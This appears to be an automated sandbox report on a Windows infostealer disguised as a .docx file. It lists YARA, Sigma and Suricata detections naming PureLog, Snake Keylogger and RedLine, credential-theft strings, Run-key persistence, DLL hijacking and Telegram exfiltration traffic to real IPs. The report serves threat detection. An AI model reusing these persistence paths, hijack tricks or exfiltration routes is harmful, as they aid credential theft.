4.2.xzeheenC.pif.1d270000.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
4.2.xzeheenC.pif.1ce5c896.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1ce5c896.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1ce5c896.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
9.2.xzeheenC.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
9.2.xzeheenC.pif.36aa0f08.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.xzeheenC.pif.36aa0f08.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.36aa0f08.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
9.2.xzeheenC.pif.36aa0f08.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
6.2.Cneehezx.PIF.214d58a8.6.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
9.2.xzeheenC.pif.342cc896.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.xzeheenC.pif.342cc896.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.342cc896.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
9.2.xzeheenC.pif.342cc896.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
4.2.xzeheenC.pif.1e32e790.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.xzeheenC.pif.1e32e790.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1e32e790.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
4.2.xzeheenC.pif.1e32e790.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
13.2.xzeheenC.pif.31dae790.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.31dae790.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
13.2.xzeheenC.pif.31dae790.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
4.2.xzeheenC.pif.1e2f5570.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.xzeheenC.pif.1e2f5570.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1e2f5570.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x61c35:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x61c09:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x61ccd:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x61be5:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x61c4b:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x61a18:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x5e156:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x5e125:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword 0x61aec:$a13: _encryptedPassword
9.2.xzeheenC.pif.36aa0000.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.342cb98e.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.xzeheenC.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
13.2.xzeheenC.pif.3092b98e.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.30ca0f08.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.30ca0f08.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.30ca0f08.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
13.3.xzeheenC.pif.2ed4e980.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.3.xzeheenC.pif.2ed4e980.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.3.xzeheenC.pif.2ed4e980.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
13.3.xzeheenC.pif.2ed4e980.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
9.2.xzeheenC.pif.35555570.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.35555570.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
9.2.xzeheenC.pif.342cb98e.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.3092b98e.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
9.2.xzeheenC.pif.35555570.5.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.xzeheenC.pif.35556478.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.31d75570.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.xzeheenC.pif.31d75570.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.31d75570.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x61c35:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x61c09:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x61ccd:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x61be5:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x61c4b:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x61a18:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x5e156:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x5e125:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword 0x61aec:$a13: _encryptedPassword
9.2.xzeheenC.pif.36aa0000.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
4.2.xzeheenC.pif.1ce5b98e.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
9.2.xzeheenC.pif.35555570.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
9.2.xzeheenC.pif.342cb98e.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
13.2.xzeheenC.pif.3092b98e.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
9.2.xzeheenC.pif.35555570.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xzeheenC.pif.35556478.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
13.2.xzeheenC.pif.30ca0f08.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
4.2.xzeheenC.pif.1e2f5570.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x6047d:$s1: UnHook 0x28101:$s2: SetHook 0x60419:$s2: SetHook 0x2813a:$s3: CallNextHook 0x60452:$s3: CallNextHook 0x280c9:$s4: _hook 0x603e1:$s4: _hook
13.2.xzeheenC.pif.31d75570.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x6047d:$s1: UnHook 0x28101:$s2: SetHook 0x60419:$s2: SetHook 0x2813a:$s3: CallNextHook 0x60452:$s3: CallNextHook 0x280c9:$s4: _hook 0x603e1:$s4: _hook
9.2.xzeheenC.pif.36aa0000.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
9.2.xzeheenC.pif.342cb98e.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
9.2.xzeheenC.pif.35555570.5.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x61c35:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x61c09:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x61ccd:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x61be5:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x61c4b:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x61a18:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x5e156:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x5e125:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword 0x61aec:$a13: _encryptedPassword
9.2.xzeheenC.pif.35556478.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x60d2d:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x60d01:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x60dc5:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x60cdd:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x60d43:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x60b10:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x5d24e:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x5d21d:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword 0x60be4:$a13: _encryptedPassword
9.2.xzeheenC.pif.35555570.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x6047d:$s1: UnHook 0x28101:$s2: SetHook 0x60419:$s2: SetHook 0x2813a:$s3: CallNextHook 0x60452:$s3: CallNextHook 0x280c9:$s4: _hook 0x603e1:$s4: _hook
9.2.xzeheenC.pif.35556478.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x5f575:$s1: UnHook 0x271f9:$s2: SetHook 0x5f511:$s2: SetHook 0x27232:$s3: CallNextHook 0x5f54a:$s3: CallNextHook 0x271c1:$s4: _hook 0x5f4d9:$s4: _hook
0.2.D.G Governor Istek,Docx.exe.21a1c948.9.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0xb1b40:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x94b10:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x95190:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0xb381a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0xb3460:$s5: delete[] 0x1de88:$s6: constructor or from DllMain. 0xb2918:$s6: constructor or from DllMain.
Click to see the 188 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe, ProcessId: 1560, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\xzeheenC.pif, CommandLine: C:\Users\Public\Libraries\xzeheenC.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\xzeheenC.pif, NewProcessName: C:\Users\Public\Libraries\xzeheenC.pif, OriginalFileName: C:\Users\Public\Libraries\xzeheenC.pif, ParentCommandLine: "C:\Users\user\Desktop\D.G Governor Istek,Docx.exe", ParentImage: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe, ParentProcessId: 1560, ParentProcessName: D.G Governor Istek,Docx.exe, ProcessCommandLine: C:\Users\Public\Libraries\xzeheenC.pif, ProcessId: 6656, ProcessName: xzeheenC.pif

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe, ProcessId: 1560, TargetFilename: C:\Windows \SysWOW64\svchost.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Cneehezx.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe, ProcessId: 1560, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cneehezx

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Libraries\Cneehezx.PIF" , ParentImage: C:\Users\Public\Libraries\Cneehezx.PIF, ParentProcessId: 3128, ParentProcessName: Cneehezx.PIF, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, ProcessId: 6672, ProcessName: cmd.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 132.226.247.73, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\xzeheenC.pif, Initiated: true, ProcessId: 6656, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Cneehezx.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe, ProcessId: 1560, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cneehezx

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\xzeheenC.pif, CommandLine: C:\Users\Public\Libraries\xzeheenC.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\xzeheenC.pif, NewProcessName: C:\Users\Public\Libraries\xzeheenC.pif, OriginalFileName: C:\Users\Public\Libraries\xzeheenC.pif, ParentCommandLine: "C:\Users\user\Desktop\D.G Governor Istek,Docx.exe", ParentImage: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe, ParentProcessId: 1560, ParentProcessName: D.G Governor Istek,Docx.exe, ProcessCommandLine: C:\Users\Public\Libraries\xzeheenC.pif, ProcessId: 6656, ProcessName: xzeheenC.pif

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T16:16:41.243953+0100	2028371	3	Unknown Traffic	192.168.2.5	49715	185.166.143.49	443	TCP
2024-12-18T16:16:43.767945+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	52.217.32.148	443	TCP

ETPRO MALWARE Snake Keylogger Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T16:17:03.338310+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49758	149.154.167.220	443	TCP
2024-12-18T16:17:16.849018+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49782	149.154.167.220	443	TCP
2024-12-18T16:17:16.923059+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49790	149.154.167.220	443	TCP
2024-12-18T16:17:21.087865+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49799	149.154.167.220	443	TCP
2024-12-18T16:17:21.181072+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49800	149.154.167.220	443	TCP
2024-12-18T16:17:28.765406+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49812	149.154.167.220	443	TCP
2024-12-18T16:17:28.797810+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49821	149.154.167.220	443	TCP
2024-12-18T16:17:34.391819+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49829	149.154.167.220	443	TCP
2024-12-18T16:17:34.460372+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49830	149.154.167.220	443	TCP
2024-12-18T16:17:34.509640+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49835	149.154.167.220	443	TCP
2024-12-18T16:17:36.342503+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49846	149.154.167.220	443	TCP
2024-12-18T16:17:36.437927+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49848	149.154.167.220	443	TCP
2024-12-18T16:17:36.520487+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49847	149.154.167.220	443	TCP
2024-12-18T16:17:49.390103+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49854	149.154.167.220	443	TCP
2024-12-18T16:17:49.444271+0100	2853006	1	A Network Trojan was detected	192.168.2.5	49856	149.154.167.220	443	TCP
